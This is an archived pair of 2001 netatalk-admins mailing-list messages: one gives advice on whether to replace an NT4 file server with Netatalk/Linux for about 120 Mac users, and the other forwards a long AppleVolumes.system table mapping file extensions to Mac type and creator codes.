From netatalk.administrators-errors@umich.edu  Tue Feb 20 14:04:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA15603
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 14:04:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13536
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 14:04:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13492
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 14:04:10 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA13457
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 14:04:09 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.1/8.11.1) with ESMTP id f1KJ48n02283
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 14:04:08 -0500
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210103b6b86f967a6d@[216.155.36.73]>
In-Reply-To: <20010220181944-r01010600-8d24ad01@194.159.148.247>
References: <20010220181944-r01010600-8d24ad01@194.159.148.247>
Date: Tue, 20 Feb 2001 14:07:44 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Netatalk ok, reliable for large no of users?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Rory,

	I hate to put on a flame-proof suit, but I might stay with NT 
in your situation.  As a web publishing house, we need the 
virtual-hosting capabilities of Linux and Apache.  Netatalk allows 
our artists to archive and publish right to the Apache server, things 
that we can't really do with IIS/NT.   However, if NT is working for 
you now, maybe you should stick with it.
You'll never find a more pro-linux person than me, but if NT is 
working, and working well in your situation, it might be better to 
get a second NT machine, network mount the drive through the first 
machine, and keep on working.

	Not trying to start a flame war, just IMHO.
	However, if it ain't broken ... don't break it.

	Ryan


>Hi
>
>We're running about 120 Mac users off 1 NT4 Compaq Proliant 1600 server in
>a flat network arrangement that is fully switched. The NT4 server has a
>single 100Mb card set to full duplex. Its 40Gb disk space is running at
>about 95% full. We need to replace this server with one or more servers
>providing, probably, a faster network interface - dual network cards - and
>about 100Gb file serving space.
>
>I ran a couple of tests comparing the performance over the network of
>reading and writing files over AoIP to a 7200 (<100Mb RAM) working as our
>intranet server, and compared this performance to the NT4 server. I used
>the helios lantest to do the tests, using small 3000K files. It seems that
>we would gain from a large benefit in network performance if we moved to
>AoIP if I'm correct in thinking that the Linux box would have done better
>with a 100Mb card set to full duplex. I might be wrong though!
>
>
>in KB/sec                   NT4         Linux
>write 3000KB file           756         810
>read 3000KB file            870         1024
>
>I am trying to select the correct hardware/software combination for these
>file servers. We do not have complex group/user configuration, and there is
>relatively little protection of directories as we work in a collaborative
>work environment. Our main network usage of files are Microstation CAD
>files, few of which are over 3Mb in size.
>
>Is netatalk/Linux a viable alternative to NT4/Windows 2000 for file serving
>for about 120 Mac users? Or should I be waiting for the new OSX server?
>
>I'd be really grateful for any advice or comment
>Rory
>--
>	Rory Campbell-Lange
>	The Campbell-Lange Workshop
>	London

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Tue Feb 20 14:14:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA15845
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 14:14:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04386
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 14:14:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04362
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 14:14:26 -0500 (EST)
Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04272
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 14:14:23 -0500 (EST)
Received: from fwd03.sul.t-online.com 
	by mailout03.sul.t-online.com with smtp 
	id 14VIF2-0008WJ-04; Tue, 20 Feb 2001 20:14:28 +0100
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.191]) by fmrl03.sul.t-online.com
	with esmtp id 14VIEf-2DetzEC; Tue, 20 Feb 2001 20:14:05 +0100
Mime-Version: 1.0
Message-Id: <a05010407b6b866193326@[192.168.0.33]>
In-Reply-To: <000a01c09b4f$21e1c620$1a00a8c0@macserver>
References: <000a01c09b4f$21e1c620$1a00a8c0@macserver>
Date: Tue, 20 Feb 2001 19:24:49 +0100
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Re: file extensions mapping file
Content-Type: multipart/alternative; boundary="============_-1229425905==_ma============"
X-Sender: 07031811601-0001@t-dialin.net

--============_-1229425905==_ma============
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: quoted-printable

>anyone have a valid complete file of extension mappings and 
>translations for AppleVolumes.system? i use netatalk 1.4b2+asun1.3.7.

A few month ago Howard Schultens passed his extension-list to this 
list. I'm working with it without problems. Here's his mail:

X-Delivery-Time: 965375729
Resent-Date: Fri, 4 Aug 2000 03:54:47 -0400 (EDT)
Sender: howard@tonne.neuro-physiol.med.uni-goettingen.de
Date: Fri, 04 Aug 2000 09:54:43 +0200
=46rom: Howard Schultens <hs@neuro-physiol.med.uni-goettingen.de>
Organization: Zentrum Physiologie, University of Goettingen
X-Accept-Language: en
To: Appletalk on Linux <netatalk-admins@umich.edu>
Subject: AppleVolumes.system
Resent-From: netatalk-admins@umich.edu
X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/2249
X-Loop: netatalk-admins@umich.edu
Resent-Sender: netatalk-admins-request@umich.edu

=46or what it's worth, here is my current list of extension/type/creator
pieced together from various and sundry sources.

-- Howard
#
# This file is read before (after if -u is specified) the user's
# AppleVolume file.  Add extension mappings and volumes here.
#
#---------------------------------------------------------------------------=
---
#
# Volumes publicized by Netatalk from this server
#
# path              name seen by Mac
# ----              ----------------

#
#---------------------------------------------------------------------------=
---
# This controls the type of translation performed on the file content and th=
e
# mapping between UNIX filename extension and the Macintosh Creator and Type=
=2E
#
# default translation -- note that CR <-> LF translation is done on all
# files of type TEXT.  The first line turns off translation for files of
# unknown type, the second turns this translation on.
#
# ext   type    creator
#----   ----    -------
=2E       BINA    UNIX
# .       TEXT    UNIX

# sounds
=2Emod	STrk	STrk
=2Emid	Midi	ttxt
=2Eaiff	AIFF	SNdm
=2Ewav	WAVE	SNdm
=2Eau	ULAW	SNdm

# video
=2Emoov	MooV	TVOD	# QuickTime movie
=2Emov	MooV	TVOD	# QuickTime movie
=2Eq75	MooV	TVOD	# QuickTime movie
=2Eq15	MooV	TVOD	# QuickTime movie
=2Eqt	MooV	TVOD	# QuickTime movie
=2Empg	MPEG	mMPG
=2Empeg	MPEG	mMPG

# formatted text
=2Ehtml	TEXT	MOSS	# Netscape (Mozilla)
=2Ephtml	TEXT	MOSS	# Netscape (Mozilla)
=2Ehtm	TEXT	MSIE	# MS Internet Explorer
=2Ertf	TEXT	MSWD
=2Edoc	W8BN	MSWD	# MS Word document
=2Etar	BINA	TAR
=2Etex	TEXT	*TEX
=2Etxt	TEXT	ttxt
=2Eps	TEXT	vgrd

# (compressed) archives, image files, etc.
=2Ebin	BINA	MB2P
=2Ezip	ZIP	ZIP
=2Etar	TARF	TAR!
=2Egz	Gzip	Gzip
=2EZ	ZIVM	LZIV
=2Esea	APPL	aust
#.sea	APPL	SITx
=2Ecpt	PACT	CPCT
=2Esit	SIT!	SIT!
=2Ehqx	TEXT	SITx
=2Esmi	APPL	oneb
=2ESMI	APPL	oneb

# graphics
=2Etiff	TIFF	8BIM # PhotoShop
=2Etif	TIFF	8BIM # PhotoShop
=2ETIF	TIFF	8BIM # PhotoShop
=2Ebmp	BMPp	8BIM # PhotoShop
=2EBMP	BMPp	8BIM # PhotoShop
# .bmp	BMPp	JVWR
=2Epct	PICT	ttxt
=2Epict	PICT	ttxt
=2Ejpeg	JPEG	JVWR
=2Ejpg	JPEG	DAD5 # Canvas 5
=2EJPG	JPEG	DAD5 # Canvas 5
=2Egif	GIFf	MSIE # Microsoft Internet Explorer
=2EGIF	GIFf	MSIE # Microsoft Internet Explorer

# Corel
=2Ecdr	CDR8	Cdrw	# Draw file
=2Ecd4	CDR4	Cdrw
=2Ecd5	CDR5	Cdrw
=2Ecd6	CDR6	Cdrw
=2Ecdt	CDT8	Cdrw	# Template
=2Ecpt	CPT5	Cdrw
=2Ect4	CDT4	Cdrw
=2Ect5	CDT5	Cdrw
=2Ect6	CDT6	Cdrw

# MS-Word
=2Edoc	V6BN	MSWD
=2Edot	WTBN	MSWD

# MS-Excel
=2Ewrd	TEXT	MSWD
=2Ewrt	TEXT	MACA
=2Exlc	XLC3	XCEL
=2Exls	XLS5	XCEL
=2Exlt	TEXT	XCEL

# Other locals
=2EPPD	TEXT	ttxt
#
#---------------------------------------------------------------------------=
--
#---------------------------------------------------------------------------=
--
#
=2Eaep	FXTC	EggP	# After Effects Project
=2Eai	TEXT	ART5	# Illustrator 5.x
=2Eaif	AIFF	SNDM	# AIF Sound File (SoundMachine)
=2Eal	ALAW	SNDM	# Sun Audio File (SoundMachine)
=2Eap1	PRS2	PLP2	# Persuasion 2 Presentation
=2Eapi	PRIF	PLP2	# Persuasion 2.1 File
=2Eapn	AROW	DAD5	# Canvas(tm) 5 Arrows
=2Eapt	PRT2	PLP2	# Persuasion 2 Slide
=2Earc	mArc	SIT!	# ARC Archive (Stuffit)
=2Easd	DCDC	GDSP	# Astound document
=2East	DCMS	GDSP	# Asotund Template
=2Eau	ULAW	SNDM	# Sun Audio File (SoundMachine)
=2Eavi	BINA	AVIC	# AVI to QT Utility
=2Ebin	BINA	SIT!	# MacBinary Encoded File (Stuffit)
=2Ecdd	CDrw	dDrw	# Claris Draw
=2Ecgm	CGM	Mprn	# Corel ARTISAN-CGM
=2Ecid	CIPT	iDrw	# ClarisImpact 2.0 Draw
=2Ecit	CIPT	iPrs	# ClarisImpact 2.0 Template
=2Ecmx	CMX6	Cdrw	# Corel Graphics-CMX
=2Ecom	BINA	mdos	# DOS Binary File
=2Ecpt	PACT	SIT!	# Compact Pro Archive (Stuffit)
=2Ecsv	TEXT	XCEL	# Excel CSV Format
=2Ect	..CT	GKON	# Scitex Image (GraphicConverter)
=2Ecv5	drw5	DAD5	# Canvas(tm) 5 document
=2Ecvs	drw2	DAD2	# Canvas Drawing
=2Ecwd	CWDB	BOBO	# ClarisWorks Database
=2Ecwg	CWGR	BOBO	# ClarisWorks Objects
=2Ecwk	CWWP	BOBO	# ClarisWorks
=2Ecws	CWSS	BOBO	# ClarisWorks Spreadsheet
=2Edat	DAT	Cdrw	# CorelDraw 6-DAT
=2Edbf	F+DB	FOXX	# FoxPro Database
=2Edcr	M!95	MV95	# Director 5 Document
=2Edcx	DCXx	GKON	# DCX Graphic (GraphicConverter)
=2Edic	CONF	DAD5	# Canvas(tm) 5 User Dictionary
=2Edim	AD3D	AD3E	# Dimensions(tm)-Document
=2Edir	MD95	MV95	# Director 5 Movie
=2Edl	TEXT	BGDL	# DL Animation (DLViewer)
=2Edoc	W6BN	MSWD	# Word 6 Document
=2Edot	sDBN	MSWD	# Word Stationary File
=2Edot	WTBN	MSWD	# Word Template File
=2Edpn	DASH	DAD5	# Canvas(tm) 5 Dashes
=2Edxf	TEXT	SWVL	# DXF Drawing (Simple Body)
=2Eend	END	Cdrw	# CorelDraw 6-END
=2Eenv	ENV	Cdrw	# CorelDraw 6-ENV
=2Eeps	EPSP	ART5	# EPS (Illustrator 5.x)
=2Eevy	EVYD	ENVY	# WPMac News 9/96.evy
=2Efh3	FHD3	FHA3	# FreeHand 3.x Document
=2Efh4	AGD1	FH40	# FreeHand 4.x Document
=2Efh5	AGD1	FH50	# FreeHand 5.x Document
=2Efh7	AGD1	FH70	# FreeHand 7.0
=2Efm	FMPR	FMPR	# FileMaker Pro 2.x
=2Efm4	FASL	Fram	# FrameMaker 4
=2Efp3	FMP3	FMP3	# FileMaker Pro 3.0
=2Efrx	FAPP	FOXX	# FoxPro Application File
=2Eft2	FSch	FSCH	# FastTrack 2.1
=2Eft3	sHD3	FHA3	# Freehand 3.1-Stationary Document
=2Eft4	FTs4	FTS4	# FastTrack 4
=2Eft5	sGD1	FH50	# FreeHand 5.0-Stationary Document
=2Efxp	FFXP	FOXX	# FoxPro Format File
=2Egem	GEM	Cdrw	# CorelDraw 6-GEM Graphic
=2Egl	TEXT	AnVw	# GL Animation (MacAnim Viewer)
=2Egrd	ObFl	DAD5	# Canvas(tm) 5 Gradients
=2Egz	Gzip	Gzip	# GZip Compressed File (MacGzip)
=2Ehqx	TEXT	BNHQ	# StuffIt Archive (BinHex)
=2Ehtc	htch	DAD5	# Canvas(tm) 5 Hatches
=2Eiff	ILBM	8BIM	# IFF Image (Photoshop)
=2Elbx	F+LB	FOXX	# FoxPro Index File
=2Elzh	TEXT	LARC	# LHA Archive (MacLHA)
=2Emac	PICT	dPro	# PICT File (MacDraw Pro)
=2Emdp	dPRO	dDOC	# MacDraw Pro
=2Emid	Midi	MOUP	# Midi Music File (Mark of Unicorn)
=2Emif	TEXT	Fram	# MIF (FrameMaker)
=2Emii	MW2D	MMII	# MacWrite
=2Emnx	FMNX	FOXX	# FoxPro Menu Table
=2Emod	STrk	SCPL	# MOD Sound File (SoundApp)
=2Emov	MooV	ttxt	# Quicktime Video (SimpleText)
=2Empg	MPEG	mMPG	# MPEG Video File (Sparkle)
=2Emw	WORD	MWII	# MacWrite II Document
=2Ep65	AB65	AD65	# PageMaker 6.5 Publication
=2Epal	COLR	DAD5	# Canvas(tm) 5 Colors
=2Epcx	PCX	8BIM	# PhotoShop PCX Image
=2Epdf	PDF	CARO	# Adobe Acrobat PDF
=2Epfb	LWFN	FONT	# PostScript Type 1 Font
=2Epic	PICT	8BIM	# PICT Image (Photoshop)
=2Epit	TEXT	UPIT	# Packit Archive
=2Epjx	FPJX	FOXX	# FoxPro Project Table File
=2Epm3	ALB3	ALD3	# PageMaker 3.X Publication
=2Epm4	ALB4	ALD4	# PageMaker 4.X Publication
=2Epm5	ALB5	ALD5	# PageMaker 5.X Publication
=2Epm6	ALB6	ALD6	# PageMaker 6.X Publication
=2Epng	PNGf	8BIM	# PNG Image (Photoshop)
=2Epot	PPOT	PPT3	# PowerPoint 98 Presentation Template
=2Eppd	TEXT	ALD4	# PageMaker 4 Text Document
=2Eppj	PROJ	PrMr	# Adobe Premier 4.0
=2Eppn	plin	DAD5	# Canvas(tm) 5 Parallel Lines
=2Epps	PPSS	PPT3	# PowerPoint 98 Show
=2Eppt	SLD3	PPT3	# Power Point 3 Document
=2Epr3	PRS3	PLP3	# Persuasion 3.0
=2Eprs	PRS1	PLP1	# Aldus Persuasion
=2Eps	TEXT	vgrd	# PostScript (Photoshop 5)
=2Epsd	8BPS	8BIM	# PhotoShop Image
=2Ept3	ALT3	ALD3	# PageMaker 3 Template File
=2Ept4	ALT4	ALD4	# PageMaker 4 Template File
=2Ept6	ALT6	ALD6	# PageMaker 6 Template File
=2Epts	PRT1	PLP1	# Adobe
=2Epub	PUBF	ALD2	# PageMaker 2
=2Epxr	PXR	8BIM	# Pixar Image (Photoshop)
=2Eqrk	XDOC	XPR3	# QuarkXPress v3.x
=2Eqt	MooV	TVOD	# Quicktime Video (Movie Player)
=2Eqxl	XLIB	XPR3	# QuarkExpress Library
=2Eqxt	XTMP	XPR3	# QuarkXPress 3.x Template
=2Erif	RIFF	GKON	# RIFF Image (GraphicConverter)
=2Erpl	FRL!	REP!	# Replica Viewer File
=2Ertf	RTF	MSWD	# Rich Text Format (Word)
=2Esct	..CT	8BIM	# Scitex CT Image (Photoshop)
=2Esea	APPL	aust	# StuffIt Self-Extracting
=2Esit	SITD	SIT!	# Stuffit Archive
=2Eslk	TEXT	PLAN	# Symbolic Link
=2Espn	SPEN	DAD5	# Canvas(tm) 5 Pens
=2Et65	AT65	AD65	# PageMaker 6.5 Template
=2Etar	TARF	TAR	# Archive File
=2Etbl	ATB2	TBF2	# Adobe(r) Table 2.5-Document
=2Etga	TARG	GKON	# Targa Image (GraphicConverter)
=2Etgz	Gzip	SIT!	# UNIX TAR/GZip Archive (Stuffit)
=2Etif	TIFF	8BIM	# TIFF Image (Photoshop)
=2Etml	ATBX	TBF2	# Adobe(r) Table 2.5-Stationary
=2Etpl	drwt	DAD5	# Canvas(tm) 5 document template
=2Ettf	tfil	FONT	# TrueType Font
=2Etxt	TEXT	ttxt	# ASCII File (SimpleText)
=2Eurl	LINK	MSIE	# URL File (Internet Explorer)
=2Euue	TEXT	uuUN	# UU Encoded File (uuUndo)
=2Evoc	TEXT	SCPL	# Sound Blaster File (SoundApp)
=2Evst	TPIC	8BIM	# Targe Image (Photoshop)
=2Ewav	WAVE	SCPL	# WAV Sound File (SoundApp)
=2Ewdb	AWDB	MSWK	# MS Works Database
=2Ewk	LWKS	L123	# Budget Calculator
=2Ewk1	LWKS	XCEL	# Lotus 123
=2Ewk3	123D	L123	# Lotus 1-2-3-Database File
=2Ewks	AWSS	MSWK	# MS Works Spreadsheet
=2Ewmf	TEXT	GKON	# Win Metafile (GraphicConverter)
=2Ewp	.WP6	WPC2	# WordPerfect Doc PC v6.x, 7.x
=2Ewp2	WPD2	WPC2	# WordPerfect II Document
=2Ewpd	WPD3	WPC2	# WordPerfect 3.x
=2Ewpg	WPG2	WPC3	# WordPerfect Graphic
=2Ewps	AWSS	PSI2	# MS Works Spreadsheet 2.0
=2Ewpt	sPD3	WPC2	# WordPerfect 3 Template
=2Exlb	XLB5	XCEL	# Excel 5 Tool Bar
=2Exlc	XLC5	XCEL	# Excel 5 Chart
=2Exlm	XLM5	XCEL	# Excel 5 Macro
=2Exls	XLS5	XCEL	# Excel 5 Worksheet
=2Exlt	XLT	XCEL	# Excel Template
=2Exlw	XLW5	XCEL	# Excel 5 Workbook
=2Exnk	TEXT	EXCH	# Microsoft Exchange
=2Ez	ZIVU	SIT!	# Compress File (Stuffit)
=2Ezip	ZIP	ZIP	# ZIP Archive File
=2Ezoo	TEXT	Booz	# ZOO Archive
-- 
Viele Gr=FC=DFe
J=FCrgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Stra=DFe 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
=46ax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
patch to an 8 bit operating system originally coded for a 4 bit
microprocessor, written by a 2 bit company, that can't stand 1 bit of
competition
--============_-1229425905==_ma============
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type=3D"text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: file extensions mapping
file</title></head><body>
<blockquote type=3D"cite" cite><font face=3D"Arial" size=3D"-1">anyone have
a valid complete file of extension mappings and translations for
AppleVolumes.system? i use netatalk
1.4b2+asun1.3.7.</font></blockquote>
<div><br></div>
<div>A few month ago Howard Schultens passed his extension-list to
this list. I'm working with it without problems. Here's his
mail:</div>
<div><br></div>
<div>X-Delivery-Time: 965375729<br>
Resent-Date: Fri, 4 Aug 2000 03:54:47 -0400 (EDT)<br>
Sender: howard@tonne.neuro-physiol.med.uni-goettingen.de<br>
Date: Fri, 04 Aug 2000 09:54:43 +0200<br>
=46rom: Howard Schultens
&lt;hs@neuro-physiol.med.uni-goettingen.de&gt;<br>
Organization: Zentrum Physiologie, University of Goettingen<br>
X-Accept-Language: en<br>
To: Appletalk on Linux &lt;netatalk-admins@umich.edu&gt;<br>
Subject: AppleVolumes.system<br>
Resent-From: netatalk-admins@umich.edu<br>
X-Mailing-List: &lt;netatalk-admins@umich.edu&gt;
archive/latest/2249<br>
X-Loop: netatalk-admins@umich.edu<br>
Resent-Sender: netatalk-admins-request@umich.edu<br>
<br>
=46or what it's worth, here is my current list of
extension/type/creator<br>
pieced together from various and sundry sources.<br>
<br>
-- Howard<br>
#<br>
# This file is read before (after if -u is specified) the user's<br>
# AppleVolume file.&nbsp; Add extension mappings and volumes here.<br>
#<br>
#--------------------------------------------------------------------<span
></span>----------<br>
#<br>
# Volumes publicized by Netatalk from this server<br>
#<br>
#
path&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span
></span>&nbsp;&nbsp; name seen by Mac<br>
#
----&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span
></span>&nbsp;&nbsp; ----------------<br>
<br>
#<br>
#--------------------------------------------------------------------<span
></span>----------<br>
# This controls the type of translation performed on the file content
and the<br>
# mapping between UNIX filename extension and the Macintosh Creator
and Type.<br>
#<br>
# default translation -- note that CR &lt;-&gt; LF translation is done
on all<br>
# files of type TEXT.&nbsp; The first line turns off translation for
files of<br>
# unknown type, the second turns this translation on.<br>
#<br>
# ext&nbsp;&nbsp; type&nbsp;&nbsp;&nbsp; creator<br>
#----&nbsp;&nbsp; ----&nbsp;&nbsp;&nbsp; -------<br>
=2E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BINA&nbsp;&nbsp;&nbsp; UNIX<br>
# .&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TEXT&nbsp;&nbsp;&nbsp;
UNIX<br>
</div>
<div># sounds<br>
=2Emod<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>STrk<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>STrk<br>
=2Emid<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>Midi<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>ttxt<br>
=2Eaiff<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>AIFF<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SNdm<br>
=2Ewav<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>WAVE<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SNdm<br>
=2Eau<x-tab> </x-tab>ULAW<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SNdm<br>
<br>
# video<br>
=2Emoov<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>MooV<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TVOD<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># QuickTime movie<br>
=2Emov<x-tab>&nbsp;&nbsp; </x-tab>MooV<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>TVOD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># QuickTime movie<br>
=2Eq75<x-tab>&nbsp;&nbsp; </x-tab>MooV<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>TVOD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># QuickTime movie<br>
=2Eq15<x-tab>&nbsp;&nbsp; </x-tab>MooV<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>TVOD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># QuickTime movie<br>
=2Eqt<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MooV<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>TVOD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># QuickTime movie<br>
=2Empg<x-tab>&nbsp;&nbsp; </x-tab>MPEG<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>mMPG<br>
=2Empeg<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>MPEG<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>mMPG<br>
<br>
# formatted text<br>
=2Ehtml<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MOSS<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Netscape (Mozilla)<br>
=2Ephtml<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MOSS<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Netscape (Mozilla)<br>
=2Ehtm<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MSIE<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># MS Internet Explorer<br>
=2Ertf<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MSWD<br>
=2Edoc<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>W8BN<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MSWD<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># MS Word document<br>
=2Etar<x-tab>&nbsp; </x-tab>BINA<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>TAR<br>
=2Etex<x-tab> </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>*TEX<br>
=2Etxt<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>ttxt<br>
=2Eps<x-tab> </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>vgrd<br>
<br>
# (compressed) archives, image files, etc.<br>
=2Ebin<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>BINA<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MB2P<br>
=2Ezip<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>ZIP<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>ZIP<br>
=2Etar<x-tab> </x-tab>TARF<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TAR!<br>
=2Egz<x-tab> </x-tab>Gzip<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Gzip<br>
=2EZ<x-tab>&nbsp; </x-tab>ZIVM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>LZIV<br>
=2Esea<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>APPL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>aust<br>
#.sea<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>APPL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SITx<br>
=2Ecpt<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PACT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>CPCT<br>
=2Esit<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>SIT!<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SIT!<br>
=2Ehqx<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SITx<br>
=2Esmi<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>APPL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>oneb<br>
=2ESMI<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>APPL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>oneb<br>
<br>
# graphics<br>
=2Etiff<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>TIFF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM # PhotoShop<br>
=2Etif<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TIFF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM # PhotoShop<br>
=2ETIF<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TIFF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM # PhotoShop<br>
